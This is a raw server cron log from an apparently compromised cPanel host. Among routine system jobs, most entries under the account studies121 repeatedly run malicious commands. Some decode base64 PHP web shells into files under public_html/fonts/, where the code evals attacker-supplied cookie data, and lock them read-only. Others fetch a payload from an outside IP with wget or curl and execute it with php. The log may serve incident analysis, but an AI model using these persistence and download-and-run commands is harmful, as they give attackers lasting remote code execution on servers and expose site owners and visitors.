Sep  1 12:26:01 ip-184-168-122-23 CROND[23827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:26:01 ip-184-168-122-23 CROND[23826]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:26:01 ip-184-168-122-23 CROND[23828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:27:01 ip-184-168-122-23 CROND[23958]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:27:01 ip-184-168-122-23 CROND[23959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:27:01 ip-184-168-122-23 CROND[23960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:27:01 ip-184-168-122-23 CROND[23962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:28:01 ip-184-168-122-23 CROND[24101]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:28:01 ip-184-168-122-23 CROND[24103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:28:01 ip-184-168-122-23 CROND[24102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:28:01 ip-184-168-122-23 CROND[24106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:28:01 ip-184-168-122-23 CROND[24109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:29:01 ip-184-168-122-23 CROND[24210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:29:01 ip-184-168-122-23 CROND[24212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:29:01 ip-184-168-122-23 CROND[24214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:29:01 ip-184-168-122-23 CROND[24213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:30:02 ip-184-168-122-23 CROND[24410]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 12:30:02 ip-184-168-122-23 CROND[24412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:30:02 ip-184-168-122-23 CROND[24413]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 12:30:02 ip-184-168-122-23 CROND[24414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:30:02 ip-184-168-122-23 CROND[24415]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 12:30:02 ip-184-168-122-23 CROND[24417]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:30:02 ip-184-168-122-23 CROND[24418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:30:02 ip-184-168-122-23 CROND[24419]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  1 12:30:02 ip-184-168-122-23 CROND[24420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:31:01 ip-184-168-122-23 CROND[24538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:31:01 ip-184-168-122-23 CROND[24540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:31:01 ip-184-168-122-23 CROND[24543]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 12:31:01 ip-184-168-122-23 CROND[24542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:31:01 ip-184-168-122-23 CROND[24541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:32:01 ip-184-168-122-23 CROND[24747]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:32:01 ip-184-168-122-23 CROND[24748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:32:01 ip-184-168-122-23 CROND[24750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:32:01 ip-184-168-122-23 CROND[24752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:32:01 ip-184-168-122-23 CROND[24751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:33:01 ip-184-168-122-23 CROND[24889]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:33:01 ip-184-168-122-23 CROND[24890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:33:01 ip-184-168-122-23 CROND[24888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:33:01 ip-184-168-122-23 CROND[24891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:34:01 ip-184-168-122-23 CROND[25106]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:34:01 ip-184-168-122-23 CROND[25110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:34:01 ip-184-168-122-23 CROND[25108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:34:01 ip-184-168-122-23 CROND[25111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:34:01 ip-184-168-122-23 CROND[25109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:35:01 ip-184-168-122-23 CROND[25390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:35:01 ip-184-168-122-23 CROND[25392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:35:01 ip-184-168-122-23 CROND[25393]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 12:35:01 ip-184-168-122-23 CROND[25394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:35:01 ip-184-168-122-23 CROND[25396]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 12:35:01 ip-184-168-122-23 CROND[25398]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 12:35:01 ip-184-168-122-23 CROND[25401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:35:01 ip-184-168-122-23 CROND[25399]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 12:36:01 ip-184-168-122-23 CROND[25649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:36:01 ip-184-168-122-23 CROND[25651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:36:01 ip-184-168-122-23 CROND[25652]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:36:01 ip-184-168-122-23 CROND[25654]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:36:01 ip-184-168-122-23 CROND[25659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:37:01 ip-184-168-122-23 CROND[25798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 12:37:01 ip-184-168-122-23 CROND[25800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 12:37:01 ip-184-168-122-23 CROND[25802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 12:37:01 ip-184-168-122-23 CROND[25801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:38:02 ip-184-168-122-23 CROND[26052]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 12:38:02 ip-184-168-122-23 CROND[26054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 12:38:02 ip-184-168-122-23 CROND[26056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
